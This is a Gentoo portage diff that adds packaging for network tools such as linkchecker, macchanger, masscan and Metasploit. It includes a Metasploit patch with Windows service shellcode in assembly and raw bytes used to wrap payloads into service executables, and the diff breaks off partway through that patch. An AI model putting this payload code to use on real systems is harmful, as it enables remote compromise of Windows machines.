+diff --git a/config/linkchecker-completion b/config/linkchecker-completion
+index 5252b3b..0ea3b21 100644
+--- a/config/linkchecker-completion
++++ b/config/linkchecker-completion
+@@ -2,7 +2,6 @@
+ # Debian Linux system. For other system read the documentation that
+ # comes with the bash-completion package.
+
+-have linkchecker &&
+ _linkcheck() {
+ local cur prev
+
+@@ -17,4 +16,4 @@ _linkcheck() {
+ fi
+ return 0
+ }
+-[ "$have" ] && complete $filenames -F _linkcheck linkchecker
++complete $filenames -F _linkcheck linkchecker
diff --git a/net-analyzer/linkchecker/files/linkchecker-9.3-desktop.patch b/net-analyzer/linkchecker/files/linkchecker-9.3-desktop.patch
new file mode 100644
index 000000000000..40fa18a45983
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-9.3-desktop.patch
@@ -0,0 +1,34 @@
+From c25bdb3f55a791bfa087fb5a3d8e3d5d62991745 Mon Sep 17 00:00:00 2001
+From: Christopher Meng <cickumqt@gmail.com>
+Date: Fri, 10 Jan 2014 19:57:47 +0800
+Subject: [PATCH] Fix non-standard deskop file
+
+desktop-file-validate /home/rpmaker/rpmbuild/BUILDROOT/linkchecker-8.6-1.fc21.i386/usr/share/applications/linkchecker-gui.desktop /home/rpmaker/rpmbuild/BUILDROOT/linkchecker-8.6-1.fc21.i386/usr/share/applications/linkchecker.desktop
+/home/rpmaker/rpmbuild/BUILDROOT/linkchecker-8.6-1.fc21.i386/usr/share/applications/linkchecker-gui.desktop: error: value "Network;WebDevelopment" for string list key "Categories" in group "Desktop Entry" does not have a semicolon (';') as trailing character
+/home/rpmaker/rpmbuild/BUILDROOT/linkchecker-8.6-1.fc21.i386/usr/share/applications/linkchecker.desktop: error: value "True" for boolean key "Terminal" in group "Desktop Entry" contains invalid characters, boolean values must be "false" or "true"
+/home/rpmaker/rpmbuild/BUILDROOT/linkchecker-8.6-1.fc21.i386/usr/share/applications/linkchecker.desktop: error: value "Network;WebDevelopment" for string list key "Categories" in group "Desktop Entry" does not have a semicolon (';') as trailing character
+---
+ doc/linkchecker-gui.desktop | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/doc/linkchecker-gui.desktop b/doc/linkchecker-gui.desktop
+index 7e06b6e..09bd997 100644
+--- a/doc/linkchecker-gui.desktop
++++ b/doc/linkchecker-gui.desktop
+@@ -1,10 +1,10 @@
+ [Desktop Entry]
+-Name=LinkChecker GUI
++Name=LinkChecker GUI
+ GenericName=URL validator
+ GenericName[de]=URL Validator
+ Version=1.0
+ Type=Application
+ Exec=linkchecker-gui
+ Terminal=false
+-Categories=Network;WebDevelopment;
+-Icon=logo48x48
++Categories=Network;WebDevelopment;
++Icon=linkchecker
+--
+1.8.5.1
+
diff --git a/net-analyzer/linkchecker/linkchecker-9.3-r1.ebuild b/net-analyzer/linkchecker/linkchecker-9.3-r1.ebuild
new file mode 100644
index 000000000000..8175b8f16e7f
--- /dev/null
+++ b/net-analyzer/linkchecker/linkchecker-9.3-r1.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite?"
+
+inherit bash-completion-r1 distutils-r1 eutils multilib
+
+MY_PN="${PN/linkchecker/LinkChecker}"
+MY_P="${MY_PN}-${PV}"
+
+DESCRIPTION="Check websites for broken links"
+HOMEPAGE="http://wummel.github.com/linkchecker/ http://pypi.python.org/pypi/linkchecker/"
+SRC_URI="mirror://pypi/${MY_PN:0:1}/${MY_PN}/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86 ~ppc-macos ~x64-solaris"
+IUSE="gnome sqlite X"
+
+RDEPEND="
+ dev-python/dnspython[${PYTHON_USEDEP}]
+ >=dev-python/requests-2.2.1[${PYTHON_USEDEP}]
+ gnome? ( dev-python/pygtk:2[${PYTHON_USEDEP}] )
+ X? (
+ dev-python/PyQt4[X,help,${PYTHON_USEDEP}]
+ dev-python/qscintilla-python[${PYTHON_USEDEP}]
+ )"
+DEPEND="
+ X? (
+ dev-qt/qthelp:4
+ dev-python/markdown2[${PYTHON_USEDEP}]
+ )"
+
+RESTRICT="test"
+
+S="${WORKDIR}/${MY_P}"
+
+python_prepare_all() {
+ local PATCHES=(
+ "${FILESDIR}"/${PN}-9.2-unbundle.patch
+ "${FILESDIR}"/${P}-bash-completion.patch
+ "${FILESDIR}"/${P}-desktop.patch
+ )
+
+ emake -C doc/html
+
+ distutils-r1_python_prepare_all
+}
+
+python_install_all() {
+ DOCS=(
+ doc/upgrading.txt
+ doc/python3.txt
+ doc/changelog.txt
+ doc/development.txt
+ )
+ distutils-r1_python_install_all
+ if ! use X; then
+ delete_gui() {
+ rm -rf \
+ "${ED}"/usr/bin/linkchecker-gui* \
+ "${ED}"/$(python_get_sitedir)/linkcheck/gui* || die
+ }
+ python_foreach_impl delete_gui
+ rm -f "${ED}"/usr/share/applications/linkchecker*.desktop || die
+ fi
+
+ rm -f "${ED}"/usr/share/applications/linkchecker.desktop || die
+
+ newicon doc/html/logo64x64.png ${PN}.png
+
+ docinto html
+ dodoc doc/html/*
+ newbashcomp config/linkchecker-completion ${PN}
+ optfeature "bash-completion support" dev-python/argcomplete[${PYTHON_USEDEP}]
+ optfeature "Virus scanning" app-antivirus/clamav
+ optfeature "Geo IP support" dev-python/geoip-python[${PYTHON_USEDEP}]
+}
diff --git a/net-analyzer/linkchecker/linkchecker-9999.ebuild b/net-analyzer/linkchecker/linkchecker-9999.ebuild
new file mode 100644
index 000000000000..21e344faf6c0
--- /dev/null
+++ b/net-analyzer/linkchecker/linkchecker-9999.ebuild
@@ -0,0 +1,79 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite?"
+
+inherit bash-completion-r1 distutils-r1 eutils git-r3 multilib
+
+MY_P="${P/linkchecker/LinkChecker}"
+
+DESCRIPTION="Check websites for broken links"
+HOMEPAGE="http://wummel.github.com/linkchecker/ http://pypi.python.org/pypi/linkchecker/"
+SRC_URI=""
+EGIT_REPO_URI="https://github.com/wummel/linkchecker.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="gnome sqlite X"
+
+RDEPEND="
+ dev-python/dnspython[${PYTHON_USEDEP}]
+ gnome? ( dev-python/pygtk:2[${PYTHON_USEDEP}] )
+ X? (
+ dev-python/PyQt4[X,help,${PYTHON_USEDEP}]
+ dev-python/qscintilla-python[${PYTHON_USEDEP}]
+ )"
+DEPEND="
+ X? (
+ dev-qt/qthelp:4
+ dev-python/markdown2[${PYTHON_USEDEP}]
+ )"
+
+RESTRICT="test"
+
+python_prepare_all() {
+ local PATCHES=(
+ "${FILESDIR}"/${PN}-9.2-unbundle.patch
+ "${FILESDIR}"/${PN}-9.3-bash-completion.patch
+ "${FILESDIR}"/${PN}-9.3-desktop.patch
+ )
+
+ emake -C doc/html
+
+ distutils-r1_python_prepare_all
+}
+
+python_install_all() {
+ DOCS=(
+ doc/upgrading.txt
+ doc/python3.txt
+ doc/changelog.txt
+ doc/development.txt
+ )
+ distutils-r1_python_install_all
+ if ! use X; then
+ delete_gui() {
+ rm -rf \
+ "${ED}"/usr/bin/linkchecker-gui* \
+ "${ED}"/$(python_get_sitedir)/linkcheck/gui* || die
+ }
+ python_foreach_impl delete_gui
+ rm -f "${ED}"/usr/share/applications/linkchecker*.desktop || die
+ fi
+
+ rm -f "${ED}"/usr/share/applications/linkchecker.desktop || die
+
+ newicon doc/html/logo64x64.png ${PN}.png
+
+ docinto html
+ dodoc doc/html/*
+ newbashcomp config/linkchecker-completion ${PN}
+ optfeature "bash-completion support" dev-python/argcomplete[${PYTHON_USEDEP}]
+ optfeature "Virus scanning" app-antivirus/clamav
+ optfeature "Geo IP support" dev-python/geoip-python[${PYTHON_USEDEP}]
+}
diff --git a/net-analyzer/linkchecker/metadata.xml b/net-analyzer/linkchecker/metadata.xml
new file mode 100644
index 000000000000..9d0f406a3831
--- /dev/null
+++ b/net-analyzer/linkchecker/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+ <use>
+ <flag name="sqlite">Mozilla Bookmark parsing</flag>
+ </use>
+ <upstream>
+ <remote-id type="pypi">LinkChecker</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/macchanger/Manifest b/net-analyzer/macchanger/Manifest
new file mode 100644
index 000000000000..6041a4edff05
--- /dev/null
+++ b/net-analyzer/macchanger/Manifest
@@ -0,0 +1 @@
+DIST macchanger-1.7.0.tar.gz 396848 SHA256 dae2717c270fd5f62d790dbf80c19793c651b1b26b62c101b82d5fdf25a845bf SHA512 69f2008ace6ff8223ecf25805c08ddf42add9ed16c65f3bb57f74b8b0d080d584381ce79592d2ef581a9ba73f12624dae8db63dbb12e4875dfd29d828a4a5da3 WHIRLPOOL 94b9f01d881c58b6282a6916f7d88c1c7a8cdf1ff991cc07beaa0a3ce22fbe05620337adda583bf5affcce98907dfc83c2b914b07d9719e7aafc854db22f4d32
diff --git a/net-analyzer/macchanger/macchanger-1.7.0.ebuild b/net-analyzer/macchanger/macchanger-1.7.0.ebuild
new file mode 100644
index 000000000000..5e1db4a1e61b
--- /dev/null
+++ b/net-analyzer/macchanger/macchanger-1.7.0.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Utility for viewing/manipulating the MAC address of network interfaces"
+OUI_DATE="20091029" # Generated with tools/IEEE_OUI.py in the source
+OUI_FILE="OUI.list-${OUI_DATE}"
+HOMEPAGE="https://github.com/alobbs/macchanger"
+SRC_URI="https://github.com/alobbs/macchanger/releases/download/${PV}/${P}.tar.gz"
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm ppc sparc x86"
+SLOT="0"
+
+src_configure() {
+ # Shared data is installed below /lib, see Bug #57046
+ econf \
+ --bindir=/sbin \
+ --datadir=/lib
+}
+
+src_install() {
+ default
+
+ dodoc AUTHORS ChangeLog NEWS README
+
+ dodir /usr/bin
+ dosym /sbin/macchanger /usr/bin/macchanger
+ dosym /lib/macchanger /usr/share/macchanger
+}
diff --git a/net-analyzer/macchanger/metadata.xml b/net-analyzer/macchanger/metadata.xml
new file mode 100644
index 000000000000..62d945e496a8
--- /dev/null
+++ b/net-analyzer/macchanger/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ <name>Robin H. Johnson</name>
+ </maintainer>
+ <upstream>
+ <remote-id type="github">alobbs/macchanger</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/masscan/Manifest b/net-analyzer/masscan/Manifest
new file mode 100644
index 000000000000..d189e521b15f
--- /dev/null
+++ b/net-analyzer/masscan/Manifest
@@ -0,0 +1 @@
+DIST masscan-1.0.3.tar.gz 333393 SHA256 331edd529df1904bcbcfb43029ced7e2dafe1744841e74cd9fc9f440b8301085 SHA512 e64b11deaaaa71d5be95e8f2b1fdfa679f5c8e8074c97f9d60d57659f33aec0699673c5aab72824f62d1a8b0e8c9188dcf296dd078bc6c2dbdad95c35c3a5f40 WHIRLPOOL fa1c4e931ef0d6ca534b0ccff790e86eef3a058f46b39fff0c94326fa41ddee9007030240a83171171ef10ead862721844330599ff271bbc08ca9f168ff6a3d0
diff --git a/net-analyzer/masscan/files/masscan.conf b/net-analyzer/masscan/files/masscan.conf
new file mode 100644
index 000000000000..86a88868dffe
--- /dev/null
+++ b/net-analyzer/masscan/files/masscan.conf
@@ -0,0 +1,7 @@
+rate = 100000.00
+output-format = xml
+output-status = all
+output-filename = scan.xml
+ports = 0-65535
+#range = 0.0.0.0-255.255.255.255
+excludefile = /etc/masscan/exclude.conf
diff --git a/net-analyzer/masscan/masscan-1.0.3-r1.ebuild b/net-analyzer/masscan/masscan-1.0.3-r1.ebuild
new file mode 100644
index 000000000000..17050b707961
--- /dev/null
+++ b/net-analyzer/masscan/masscan-1.0.3-r1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="Mass IP port scanner"
+HOMEPAGE="https://github.com/robertdavidgraham/masscan"
+SRC_URI="${HOMEPAGE}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+SLOT="0"
+LICENSE="AGPL-3"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+src_prepare(){
+ sed -i \
+ -e '/$(CC)/s!$(CFLAGS)!$(LDFLAGS) $(CFLAGS)!g' \
+ -e '/^GITVER :=/s!= .(.*!=!g' \
+ -e '/^SYS/s|gcc|$(CC)|g' \
+ -e '/$(CC)/s!-DGIT=\"$(GITVER)\"!!g' \
+ -e '/^CFLAGS =/{s,=,+=,;s,-g -ggdb,,;s,-O3,,;}' \
+ Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake CC="$(tc-getCC)" DESTDIR="${D}" PREFIX=/usr install
+
+ insinto /etc/masscan
+ doins data/exclude.conf
+ doins "${FILESDIR}"/masscan.conf
+
+ mv doc/bot.{hml,html} || die
+ dohtml doc/bot.html
+ doman doc/masscan.8
+ dodoc *.md
+}
diff --git a/net-analyzer/masscan/metadata.xml b/net-analyzer/masscan/metadata.xml
new file mode 100644
index 000000000000..dad8fc699840
--- /dev/null
+++ b/net-analyzer/masscan/metadata.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ </maintainer>
+ <longdescription lang="en">
+ This is the fastest Internet port scanner. It can scan the
+ entire Internet in under 6 minutes, transmitting 10 million
+ packets per second.
+
+ It produces results similar to nmap, the most famous port
+ scanner. Internally, it operates more like scanrand,
+ unicornscan, and ZMap, using asynchronous transmission.
+ The major difference is that it's faster than these other
+ scanners. In addition, it's more flexible, allowing
+ arbitrary address ranges and port ranges.
+ </longdescription>
+ <upstream>
+ <remote-id type="github">robertdavidgraham/masscan</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/mate-netspeed/Manifest b/net-analyzer/mate-netspeed/Manifest
new file mode 100644
index 000000000000..06d9e8776177
--- /dev/null
+++ b/net-analyzer/mate-netspeed/Manifest
@@ -0,0 +1 @@
+DIST mate-netspeed-1.8.0.tar.xz 567724 SHA256 991be6016800ed4b7db35b5157f176fee033e376a9480a94ef5f5fce63c1759f SHA512 e957fd3d63e87ddf3e9eb51c595611208d81ccbd4b7281814518ae36f016fe80931cfb62df62731a0dce7102e25c4d48427f45787bacc7f8018a8682725c7a8b WHIRLPOOL 50f32654520c7090d8b66cd64519bf83bd4c281f996ecbccac8a271fb715242b5a6c895f0d4156b7e23cd512a384a415a4fce05926f69d17ffe38405711094f4
diff --git a/net-analyzer/mate-netspeed/mate-netspeed-1.8.0.ebuild b/net-analyzer/mate-netspeed/mate-netspeed-1.8.0.ebuild
new file mode 100644
index 000000000000..d7e4b179cb41
--- /dev/null
+++ b/net-analyzer/mate-netspeed/mate-netspeed-1.8.0.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+GCONF_DEBUG="no"
+
+inherit gnome2 versionator
+
+MATE_BRANCH="$(get_version_component_range 1-2)"
+
+SRC_URI="http://pub.mate-desktop.org/releases/${MATE_BRANCH}/${P}.tar.xz"
+DESCRIPTION="Applet showing network traffic for MATE"
+HOMEPAGE="http://mate-desktop.org/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 x86"
+
+# FIXME: wireless-tools >= 28pre9 is automagic
+RDEPEND="dev-libs/glib:2
+ >=gnome-base/libgtop-2.14.2:2
+ >=mate-base/mate-panel-1.8:0
+ >=net-wireless/wireless-tools-28_pre9:0
+ x11-libs/gdk-pixbuf:2
+ x11-libs/gtk+:2
+ x11-libs/pango:0
+ virtual/libintl:0"
+
+DEPEND="${RDEPEND}
+ app-text/yelp-tools:0
+ >=dev-util/intltool-0.35:*
+ sys-devel/gettext:*
+ virtual/pkgconfig:*"
+
+DOCS="AUTHORS ChangeLog README"
diff --git a/net-analyzer/mate-netspeed/metadata.xml b/net-analyzer/mate-netspeed/metadata.xml
new file mode 100644
index 000000000000..fcdaefc0d9b6
--- /dev/null
+++ b/net-analyzer/mate-netspeed/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>mate</herd>
+ <upstream>
+ <remote-id type="github">mate-desktop/mate-netspeed</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/mbrowse/Manifest b/net-analyzer/mbrowse/Manifest
new file mode 100644
index 000000000000..1980191aad6a
--- /dev/null
+++ b/net-analyzer/mbrowse/Manifest
@@ -0,0 +1 @@
+DIST mbrowse-0.4.3.tar.gz 146028 SHA256 735a86a027659d3be39723d554758d6b51cce56ef3807efd5123d48ebf41506e SHA512 adccf8de707611034db0cbb6a37117f6a4741eb92656eab0e9e5c6a8268b17cc66080ed9663fe59a3fea9b110d83bcff9094b5fec133ca7ceb2650fd532a6cb4 WHIRLPOOL a715c14397b7a89cd5318017bc7640bfe951b14721288c315aa24a91e2c483b63aab7633b585a52a6c892703c4d9801974045c2d30787ad1386233e772f1c779
diff --git a/net-analyzer/mbrowse/mbrowse-0.4.3.ebuild b/net-analyzer/mbrowse/mbrowse-0.4.3.ebuild
new file mode 100644
index 000000000000..1d76051897aa
--- /dev/null
+++ b/net-analyzer/mbrowse/mbrowse-0.4.3.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools
+
+DESCRIPTION="MBrowse is a graphical MIB browser"
+HOMEPAGE="http://sourceforge.net/projects/mbrowse/"
+SRC_URI="mirror://sourceforge/${PN}/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+DEPEND="
+ dev-libs/glib
+ net-analyzer/net-snmp
+ x11-libs/gdk-pixbuf
+ x11-libs/gtk+:2
+"
+RDEPEND="${DEPEND}"
+
+DOCS=( AUTHORS README ChangeLog )
+
+src_prepare() {
+ sed -i \
+ -e '/LDFLAGS=/d' \
+ acinclude.m4 || die
+ eautoreconf
+}
diff --git a/net-analyzer/mbrowse/metadata.xml b/net-analyzer/mbrowse/metadata.xml
new file mode 100644
index 000000000000..4541d09b4867
--- /dev/null
+++ b/net-analyzer/mbrowse/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">mbrowse</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/metadata.xml b/net-analyzer/metadata.xml
new file mode 100644
index 000000000000..58f5863c9fea
--- /dev/null
+++ b/net-analyzer/metadata.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE catmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<catmetadata>
+ <longdescription lang="en">
+ The net-analyzer category contains network analysis software.
+ </longdescription>
+ <longdescription lang="de">
+ Die Kategorie net-analyzer enthält Software zur Netzwerkanalyse.
+ </longdescription>
+ <longdescription lang="es">
+ La categoría net-analyzer contiene programas de análisis de redes.
+ </longdescription>
+ <longdescription lang="ja">
+ net-analyzerカテゴリーにはネットワーク・アナリシスのソフトウェアが含まれています。
+ </longdescription>
+ <longdescription lang="nl">
+ De net-analyzer categorie bevat applicaties voor netwerk-analyse.
+ </longdescription>
+ <longdescription lang="vi">
+ Nhóm net-analyzer chứa các phần mềm phân tích mạng.
+ </longdescription>
+ <longdescription lang="it">
+ La categoria net-analyzer contiene programmi per l'analisi della rete.
+ </longdescription>
+ <longdescription lang="pt">
+ A categoria net-analyzer contém programas de análise de rede.
+ </longdescription>
+ <longdescription lang="pl">
+ Kategoria net-analyzer zawiera programy do analizowania sieci.
+ </longdescription>
+</catmetadata>
+
diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest
new file mode 100644
index 000000000000..67678608b417
--- /dev/null
+++ b/net-analyzer/metasploit/Manifest
@@ -0,0 +1,2 @@
+DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946
+DIST framework-4.9.3.tar.bz2 36334540 SHA256 76aa4651b8235a018ccb46b31974fa8785e3d16bd753ac34d66fa60468d304b3 SHA512 a16608c718c57913fa5206032ca3707504f83fb25e1a9aec93dbec8d799c7d600f8f2eafb6882bddf64082a19bf9ad39b461c180946499f4e4821f249270ee6f WHIRLPOOL cd4fa596e810a63ee16147f7c4acd3af9b6389732159721c1ce560233ff0a2364964fa56393fbc2e5dc6d0ba161a484c5b7c02603cd23da081ea896c4fd7370e
diff --git a/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch
new file mode 100644
index 000000000000..4f2e353ecb7d
--- /dev/null
+++ b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch
@@ -0,0 +1,219 @@
+diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm
+--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100
++++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100
+@@ -0,0 +1,64 @@
++;-----------------------------------------------------------------------------;
++; Author: agix (florian.gaultier[at]gmail[dot]com)
++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
++; Size: 137 bytes
++;-----------------------------------------------------------------------------;
++
++[BITS 32]
++; Input: EBP must be the address of 'api_call'.
++
++push byte 0x0
++push 0x32336970
++push 0x61766461
++push esp
++push 0x726774c
++call ebp ;load advapi32.dll
++push 0x00454349
++push 0x56524553
++mov ecx, esp ;ServiceTableEntry.SVCNAME
++lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
++push 0x00000000
++push eax
++push ecx
++mov eax,esp
++push 0x00000000
++push eax
++push 0xCB72F7FA
++call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
++push 0x00000000
++push 0x56A2B5F0
++call ebp ;call ExitProcess(0)
++pop eax ;SvcCtrlHandler
++pop eax
++pop eax
++pop eax
++xor eax,eax
++ret
++cld ;SvcMain
++call me
++me:
++pop ebp
++sub ebp, 0xd6 ;ebp => hashFunction
++push 0x00464349
++push 0x56524553
++mov ecx, esp ;SVCNAME
++lea eax, [ebp+0xc9];SvcCtrlHandler
++push 0x00000000
++push eax
++push ecx
++push 0x5244AA0B
++call ebp ;RegisterServiceCtrlHandlerExA
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000004
++push 0x00000010
++mov ecx, esp
++push 0x00000000
++push ecx
++push eax
++push 0x7D3755C6
++call ebp ;SetServiceStatus RUNNING
+\ No newline at end of file
+diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm
+--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100
++++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100
+@@ -0,0 +1,17 @@
++;-----------------------------------------------------------------------------;
++; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
++; Version: 1.0 (28 July 2009)
++; Size: 189 bytes + strlen(libpath) + 1
++; Build: >build.py single_service_stuff
++;-----------------------------------------------------------------------------;
++
++[BITS 32]
++[ORG 0]
++
++ cld ; Clear the direction flag.
++ call start ; Call start, this pushes the address of 'api_call' onto the stack.
++%include "./src/block/block_api.asm"
++start: ;
++ pop ebp ; pop off the address of 'api_call' for calling later.
++%include "./src/block/block_service.asm"
+\ No newline at end of file
+diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb
+--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100
++++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100
+@@ -402,36 +402,86 @@
+
+ case opts[:exe_type]
+ when :service_exe
++ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
+ max_length = 8192
+ name = opts[:servicename]
+
+- if name
+- bo = pe.index('SERVICENAME')
+- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
+- pe[bo, 11] = [name].pack('a11')
++ if not name
++ name = Rex::Text.rand_text_alpha(7)
+ end
+-
+- if not opts[:sub_method]
+- pe[136, 4] = [rand(0x100000000)].pack('V')
++ #code_service could be encoded in the future
++ code_service =
++ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
++ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
++ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
++ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
++ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
++ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
++ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
++ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
++ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
++ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
++ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +
++ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
++ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
++ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" +
++ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" +
++ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
++ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
++ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"
++
++ pe_header_size=0x18
++ section_size=0x28
++ characteristics_offset=0x24
++ virtualAddress_offset=0xc
++ sizeOfRawData_offset=0x10
++
++ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size
++ sections_table_offset = exe.rva_to_file_offset(sections_table_rva)
++ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset)
++
++ sections_header = []
++ exe._file_header.v['NumberOfSections'].times { |i|
++ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]
++ }
++
++ #look for section with entry point
++ sections_header.each do |sec|
++ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
++ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
